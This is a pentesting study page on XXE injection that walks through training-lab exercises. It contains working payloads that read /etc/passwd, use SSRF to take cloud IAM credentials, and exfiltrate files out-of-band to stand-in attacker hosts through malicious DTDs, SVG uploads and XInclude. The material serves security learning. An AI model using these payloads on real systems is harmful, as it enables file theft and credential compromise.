XXE injection (Xml eXternal Entity)

XXE is a vulnerability that allows an attacker to interfere with an application's processing of XML data.
It allows an attacker to view files on the application server filesystem.
It can also interact with any back-end or external system that the application can access.
An attacker can escalate an XXE attack to compromise the underlying server or other back-end infrastructure by leveraging the XXE vulnerability to perform SSRF attacks.

How do XXE vulnerabilities arise?

Some applications use XML to transit data between the browser and the server.
These applications use standard libraries or APIs to process the XML data on the server.
The XML specification contains various potentially dangerous features.
Standard parsers often support these features even if they are not normally used by the application.

XML entities

XML = extensible markup language.
Used for storing and transporting data, similar to HTML.
Uses a tree-like structure of tags and data.
XML vs HTML: XML doesn't use predefined tags — tags can be given names that describe the data.

Example of XML:

<note>
    <to>Tove</to>
    <from>Jani</from>
    <heading>Reminder</heading>
    <body>Don't forget me this weekend!</body>
</note>

<note> is the root element.
<to>, <from>, <heading>, <body> are child elements of <note>.

What are XML entities?

XML entities are ways of representing an item of data within an XML document.
These are built-in elements that can be used instead of the data itself.
< and > represent the characters < and >:
- These are meta characters used to denote XML tags.
- They must generally be represented using entities when they appear within data.

What is a Document Type Definition (DTD)?

The XML Document Type Definition (DTD) contains declarations that can define:
- The structure of an XML document.
- Types of data values.
- Other items.
The DTD is declared with the optional DOCTYPE element at the start of the XML document.
The DTD can be:
- Fully self-contained within the document itself (Internal DTD).
- Loaded from elsewhere (External DTD).
- A hybrid of the two.

What are XML custom entities?

XML allows custom entities to be defined within the DTD.
Example:
```
<!DOCTYPE foo [<!ENTITY myentity "my entity value" >]>
```
- Any usage of the entity reference &myentity; within the XML document will be replaced with the defined value my entity value.

What are XML external entities?

They are entities whose values are loaded from a URL specified in the DTD using the SYSTEM keyword.
- Example:
  <!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://normal-website.com" > ]>
The URL can use the file:// protocol so external entities can be loaded from local files:
```
<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///path/to/file" > ]>
```
XML external entities are the primary means by which XML attacks arise.

Types of XXE attacks

Exploiting XXE to retrieve files

Define an external entity containing the path to a file and use it in XML data that the application returns in responses.
Example scenario: a shopping application sends XML to check stock:

Original request:

<?xml version="1.0" encoding="UTF-8"?>
<stockCheck><productId>381</productId></stockCheck>

Exploit payload to retrieve /etc/passwd:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>

The response may include the contents of /etc/passwd, e.g.:

Invalid product ID: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

Note: In real-world XML there are many data nodes; test each node individually by inserting your defined entity and checking responses.

Exploiting XXE to perform SSRF attacks

Define an external entity that references an internal URL the server can reach and use it in returned data.
Example:

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://internal.vulnerable-website.com/"> ]>

Can be used to cause the server to request internal resources (including cloud metadata endpoints).

Exploiting blind XXE to exfiltrate data out-of-band

Use an external entity referencing a URL under attacker control (DNS/HTTP) to detect interactions.
Example:

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com"> ]>

Monitor DNS/HTTP interactions (e.g., with Burp Collaborator) to detect blind XXE.
Advanced: host a malicious external DTD that causes the server to fetch sensitive files and exfiltrate them via HTTP/FTP requests.

Exploiting blind XXE to retrieve data via error messages

Use a malicious DTD that triggers an XML parser error containing file contents.
Example DTD (error-based):

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;

When parsed, the error message may include the contents of /etc/passwd.

Exploiting XXE to retrieve files — Lab

Lab - Introduction

Web_Pentest400: pentester finds a "check stock" feature that parses XML input.

Vulnerability - Problem

The application returns unexpected values in responses and performs no XXE defenses.

Payload & End-goal

Goal: inject an XML external entity to retrieve /etc/passwd.
Payload: <!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>

Reconnaissance Plan

Visit a product page, click "check stock".
Intercept the resulting POST request in Burp Suite.

Attack

Insert the external entity definition between the XML declaration and the stockCheck element: <!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
Replace the productId value with &xxe;.

Exploit & Enumerate

The response may show "Invalid product ID:" followed by /etc/passwd contents.
To test thoroughly, try each XML data node.

Mitigation

Suggests three points (see "How to prevent XXE vulnerabilities" section).

Notes

Like, Follow & Subscribe (closing remark).

Exploit XXE to perform SSRF attacks — Lab

Lab - Introduction

Web_Pentest401: pentester finds a "check stock" feature that parses XML input.

Vulnerability - Problem

The application returns unexpected values in responses. The server runs a simulated EC2 metadata endpoint.

Payload & End-goal

Goal: retrieve instance metadata at http://169.254.169.254/, obtain IAM credentials.
Payload: <!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://169.254.169.254/"> ]>

Reconnaissance Plan

Visit product page, click "check stock".
Intercept POST request in Burp.

Attack

Insert: <!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://169.254.169.254/"> ]>
Replace productId with &xxe;.

Exploit & Enumerate

The response may contain metadata. Iterate URLs to reach /latest/meta-data/iam/security-credentials/admin to find secretAccessKey.

Mitigation

Suggests three points (see "How to prevent XXE vulnerabilities").

Notes

Like, Follow & Subscribe (closing remark).

Finding hidden attack surface for XXE injection

HTTP traffic that contains XML is an obvious attack surface.
Hidden attack surface: places where non-XML client data is embedded server-side into an XML document and then parsed.
XInclude attacks can exploit such cases when you control a single data node but cannot define a DOCTYPE.

XInclude example:

<foo xmlns:xi="http://www.w3.org/2001/XInclude">
  <xi:include parse="text" href="file:///etc/passwd"/>
</foo>

Exploiting XInclude to retrieve files — Lab

Lab - Introduction

Web_Pentest402: pentester finds a "check stock" feature that embeds user input inside a server-side XML document which is parsed.

Vulnerability - Problem

The server-side XML is parsed but the attacker cannot define a DTD.

Payload & End-goal

Goal: inject an XInclude to retrieve /etc/passwd.
Payload: <foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>

Reconnaissance Plan

Visit product page, click "check stock".
Intercept POST in Burp Suite.

Attack

Set productId to: <foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>
If included file is not valid XML, use parse="text" to include as text.

Exploit & Enumerate

The response may display the file contents.

Notes

Like, Follow & Subscribe (closing remark).

XXE attacks via file upload

Some applications accept uploaded files that are processed server-side (e.g., DOCX, SVG), which are XML formats.
If an image processing library supports SVG, an attacker can upload a malicious SVG containing XML external entities.

Example: malicious SVG to read /etc/hostname:

<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg"
     xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
  <text font-size="16" x="0" y="16">&xxe;</text>
</svg>

Lab: Exploiting XXE via image file upload

Lab - Introduction

Web_Pentest403: pentester finds an avatar upload function.

Vulnerability - Problem

The server uses Apache Batik (SVG processing) to handle avatar images.

Payload & End-goal

Goal: upload an SVG that displays contents of /etc/hostname.
Payload: the SVG shown above.

Reconnaissance Plan

Create a local SVG with the external entity & text element.
Post a comment or upload the SVG as an avatar.

Attack

Upload the SVG image.
View the comment or avatar that displays the image.

Exploit & Enumerate

The image should show the server hostname (contents of /etc/hostname).

Notes

Like, Follow & Subscribe (closing remark).

XXE attacks via modified content type

Many HTML forms submit with Content-Type: application/x-www-form-urlencoded.
Some servers tolerate other content types (e.g., text/xml) and will parse the body as XML.
You can reach hidden XXE surfaces by reformatting requests to send XML:

Form-encoded example:

POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 7

foo=bar

XML example:

POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52

<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>

If the application parses the body as XML, you can attempt XXE by sending an XML body.

Blind XXE vulnerabilities

Many XXE instances are blind: the application does not return defined external entities in responses.
Direct retrieval of server files is not possible; use out-of-band (OAST) techniques or trigger parser errors.
Use defined external entities that reference attacker-controlled domains to detect DNS/HTTP interactions.

Example out-of-band entity:

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN"> ]>

Blind XXE with out-of-band interaction — Lab

Lab - Introduction

Web_Pentest404: pentester finds a "check stock" feature that parses XML input.

Vulnerability - Problem

The application parses XML but does not display entity values (blind XXE).

Payload & End-goal

Goal: make the XML parser issue a DNS lookup to a domain you control (Burp Collaborator).
Payload: insert a Collaborator URL into an external entity.

Reconnaissance Plan

Visit product page, click "check stock".
Intercept POST in Burp; insert Collaborator payload between XML declaration and stockCheck: <!DOCTYPE stockCheck [ <!ENTITY xxe SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN"> ]>

Attack

Replace productId with &xxe;.
Poll Collaborator and observe DNS/HTTP interactions initiated by the server.

Notes

Like, Follow & Subscribe (closing remark).

Points to note about parameter entities

Regular external entities are sometimes blocked (input validation or parser hardening).
Use XML parameter entities as an alternative; they are referenced using % instead of &.
- Declaration: <!ENTITY % myparameterentity "value" >
- Reference: %myparameterentity;
Example for blind XXE detection via parameter entity:

<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com"> %xxe; ]>

Blind XXE with parameter entities — Lab

Lab - Introduction

Web_Pentest405: pentester finds a "check stock" feature that parses XML.

Vulnerability - Problem

The application blocks regular external entities but still parses XML.

Payload & End-goal

Goal: make the XML parser issue DNS/HTTP lookups using a parameter entity and Burp Collaborator.
Payload: <!DOCTYPE stockCheck [<!ENTITY % xxe SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN"> %xxe; ]>

Reconnaissance Plan

Intercept POST request for "Check stock".
Insert the parameter-entity definition between the XML declaration and stockCheck.
Use Burp Collaborator to generate the unique subdomain.

Attack

Send the request and poll Collaborator for interactions.

Exploit & Enumerate

You should see DNS/HTTP interactions initiated by the server.

Notes

Like, Follow & Subscribe (closing remark).

Exploiting blind XXE to exfiltrate data out-of-band

Host a malicious DTD on a server you control. The malicious DTD can read local files and cause the parser to request an attacker-controlled URL containing the file contents.
Example malicious DTD:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;

Host as: http://web-attacker.com/malicious.dtd

Exploit payload:

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>

The parser fetches and interprets the external DTD, which causes an HTTP request to the attacker server containing file contents.

Notes:

Newlines in file contents can block some exfiltration methods; FTP may be used as an alternative, or target files without newlines (e.g., /etc/hostname).

Lab: Exfiltrate data using a malicious external DTD

Lab - Introduction

Web_Pentest406: pentester finds a "check stock" feature that parses XML.

Vulnerability - Problem

The application parses XML but does not display entity values; regular external entities are blocked.

Payload & End-goal

Goal: exfiltrate /etc/hostname using a malicious external DTD hosted on an exploit server.
Payload to reference the DTD: <!DOCTYPE foo [<!ENTITY % xxe SYSTEM "YOUR-DTD-URL"> %xxe;]>

Reconnaissance Plan

Generate a unique Burp Collaborator payload and embed it into a DTD file hosted on your exploit server.
Note the hosted DTD URL.

Attack

Intercept the POST for stock check, insert: <!DOCTYPE foo [<!ENTITY % xxe SYSTEM "YOUR-DTD-URL"> %xxe;]>
Send the request.

Exploit & Enumerate

Poll Collaborator; you should see DNS/HTTP interactions. The HTTP interaction may include /etc/hostname contents.

Notes

Like, Follow & Subscribe (closing remark).

DTD payload example:

<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://BURP-COLLABORATOR-SUBDOMAIN/?x=%file;'>">
%eval;
%exfil;

Exploiting blind XXE to retrieve data via error messages

Use a malicious external DTD that constructs an entity pointing to a nonexistent path incorporating the file contents; the parser error may include file contents.
Example DTD:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;

Resulting parser error might look like:

java.io.FileNotFoundException: /nonexistent/root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:...

Lab: Exploiting blind XXE to retrieve data via error messages

Lab - Introduction

Web_Pentest407: pentester finds a "check stock" feature that parses XML.

Vulnerability - Problem

The application parses XML but does not display entity values and blocks regular external entities.
Host a malicious DTD on a server you control which uses the error-based technique.

Payload & End-goal

Goal: trigger an error message that displays /etc/passwd.
External DTD (hosted on exploit server) contains:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'file:///invalid/%file;'>">
%eval;
%exfil;

Reconnaissance Plan

Save the malicious DTD on the exploit server and note its URL.

Attack

Intercept the POST for stock check and add a parameter entity referring to the malicious DTD: <!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-.../exploit"> %xxe;]>

Exploit & Enumerate

The response may contain an error message with /etc/passwd contents.

Notes

Like, Follow & Subscribe (closing remark).

Exploiting blind XXE by repurposing a local DTD

Some systems include local DTD files on the filesystem. If the application allows hybrid DTDs (internal + external), you can:
- Import a local DTD via an internal DTD parameter.
- Redefine an entity declared in the local DTD to trigger error-based leakage.

Example hybrid DTD technique (repurpose a local DTD at /usr/local/app/schema.dtd):

<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
<!ENTITY % custom_entity '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>

You can enumerate common local DTD paths (e.g., GNOME: /usr/share/yelp/dtd/docbookx.dtd) and test for presence by attempting to load them.

Example test:

<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
%local_dtd;
]>

Lab: Repurposing a local DTD to retrieve data

Lab - Introduction

Web_Pentest408: pentester finds a "check stock" feature that parses XML.

Vulnerability - Problem

The application parses XML but does not display entity values.
Systems with GNOME often have /usr/share/yelp/dtd/docbookx.dtd containing an entity ISOamso.

Payload & End-goal

Goal: trigger an error message containing /etc/passwd by referencing an existing DTD and redefining an entity from it.
Hybrid payload (example):

<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>

Reconnaissance Plan

Intercept the POST for stock check; insert the hybrid parameter entity between XML declaration and stockCheck.

Attack

Send the request in Repeater; this imports the local DTD and redefines ISOamso.

Exploit & Enumerate

The response error message may include /etc/passwd contents.

Notes

Like, Follow & Subscribe (closing remark).

How to find and test for XXE vulnerabilities

Use automated scanners (e.g., Burp Suite web vulnerability scanner) to save time.
Manual testing:
- Test for file retrieval: define an external entity pointing to well-known files and use it in data returned by the application.
- Test for blind XXE: define external entities pointing to a domain you control and monitor interactions (Burp Collaborator).
- Test for vulnerable inclusion: if user-supplied non-XML data is embedded server-side into XML, try XInclude to retrieve files.
Remember XML can be a vector for other vulnerabilities (XSS, SQL injection). You may need to escape payloads or use XML escaping to obfuscate payloads.

How to prevent XXE vulnerabilities

Disable XML parsing libraries where possible or avoid parsing XML where not needed.
Disable external entities and disable support for XInclude via configuration or programmatically.
Consult your XML parsing library or API documentation for details on disabling unnecessary capabilities.

PreviousSQL Injection NextBugBounty Methodology

Last updated 1 month ago

hashtagHow do XXE vulnerabilities arise?

hashtagXML entities

hashtagWhat are XML entities?

hashtagWhat is a Document Type Definition (DTD)?

hashtagWhat are XML custom entities?

hashtagWhat are XML external entities?

hashtagTypes of XXE attacks

hashtagExploiting XXE to retrieve files

hashtagExploiting XXE to perform SSRF attacks

hashtagExploiting blind XXE to exfiltrate data out-of-band

hashtagExploiting blind XXE to retrieve data via error messages

hashtagExploiting XXE to retrieve files — Lab

hashtagLab - Introduction

hashtagVulnerability - Problem

hashtagPayload & End-goal

hashtagReconnaissance Plan

hashtagAttack

hashtagExploit & Enumerate

hashtagMitigation

hashtagNotes

hashtagExploit XXE to perform SSRF attacks — Lab

hashtagLab - Introduction

hashtagVulnerability - Problem

hashtagPayload & End-goal

hashtagReconnaissance Plan

hashtagAttack

hashtagExploit & Enumerate

hashtagMitigation

hashtagNotes

hashtagFinding hidden attack surface for XXE injection

hashtagExploiting XInclude to retrieve files — Lab

hashtagLab - Introduction

hashtagVulnerability - Problem

hashtagPayload & End-goal

hashtagReconnaissance Plan

hashtagAttack

hashtagExploit & Enumerate

hashtagNotes

hashtagXXE attacks via file upload

hashtagLab: Exploiting XXE via image file upload

hashtagLab - Introduction

hashtagVulnerability - Problem

hashtagPayload & End-goal

hashtagReconnaissance Plan

hashtagAttack

hashtagExploit & Enumerate

hashtagNotes

hashtagXXE attacks via modified content type

hashtagBlind XXE vulnerabilities

hashtagBlind XXE with out-of-band interaction — Lab

hashtagLab - Introduction

hashtagVulnerability - Problem

hashtagPayload & End-goal

hashtagReconnaissance Plan

hashtagAttack

hashtagNotes

hashtagPoints to note about parameter entities

hashtagBlind XXE with parameter entities — Lab

hashtagLab - Introduction

hashtagVulnerability - Problem

hashtagPayload & End-goal

hashtagReconnaissance Plan

hashtagAttack

hashtagExploit & Enumerate

hashtagNotes

hashtagExploiting blind XXE to exfiltrate data out-of-band

hashtagLab: Exfiltrate data using a malicious external DTD

hashtagLab - Introduction

hashtagVulnerability - Problem

hashtagPayload & End-goal

hashtagReconnaissance Plan

hashtagAttack

hashtagExploit & Enumerate

hashtagNotes

hashtagExploiting blind XXE to retrieve data via error messages

hashtagLab: Exploiting blind XXE to retrieve data via error messages

hashtagLab - Introduction

hashtagVulnerability - Problem

hashtagPayload & End-goal

hashtagReconnaissance Plan

How do XXE vulnerabilities arise?

XML entities

What are XML entities?

What is a Document Type Definition (DTD)?

What are XML custom entities?

What are XML external entities?

Types of XXE attacks

Exploiting XXE to retrieve files

Exploiting XXE to perform SSRF attacks

Exploiting blind XXE to exfiltrate data out-of-band

Exploiting blind XXE to retrieve data via error messages

Exploiting XXE to retrieve files — Lab

Lab - Introduction

Vulnerability - Problem

Payload & End-goal

Reconnaissance Plan

Attack

Exploit & Enumerate

Mitigation

Notes

Exploit XXE to perform SSRF attacks — Lab

Lab - Introduction

Vulnerability - Problem

Payload & End-goal

Reconnaissance Plan

Attack

Exploit & Enumerate

Mitigation

Notes

Finding hidden attack surface for XXE injection

Exploiting XInclude to retrieve files — Lab

Lab - Introduction

Vulnerability - Problem

Payload & End-goal

Reconnaissance Plan

Attack

Exploit & Enumerate

Notes

XXE attacks via file upload

Lab: Exploiting XXE via image file upload

Lab - Introduction

Vulnerability - Problem

Payload & End-goal

Reconnaissance Plan

Attack

Exploit & Enumerate

Notes

XXE attacks via modified content type

Blind XXE vulnerabilities

Blind XXE with out-of-band interaction — Lab

Lab - Introduction

Vulnerability - Problem

Payload & End-goal

Reconnaissance Plan

Attack

Notes

Points to note about parameter entities

Blind XXE with parameter entities — Lab

Lab - Introduction

Vulnerability - Problem

Payload & End-goal

Reconnaissance Plan

Attack

Exploit & Enumerate

Notes

Exploiting blind XXE to exfiltrate data out-of-band

Lab: Exfiltrate data using a malicious external DTD

Lab - Introduction

Vulnerability - Problem

Payload & End-goal

Reconnaissance Plan

Attack

Exploit & Enumerate

Notes

Exploiting blind XXE to retrieve data via error messages

Lab: Exploiting blind XXE to retrieve data via error messages

Lab - Introduction

Vulnerability - Problem

Payload & End-goal

Reconnaissance Plan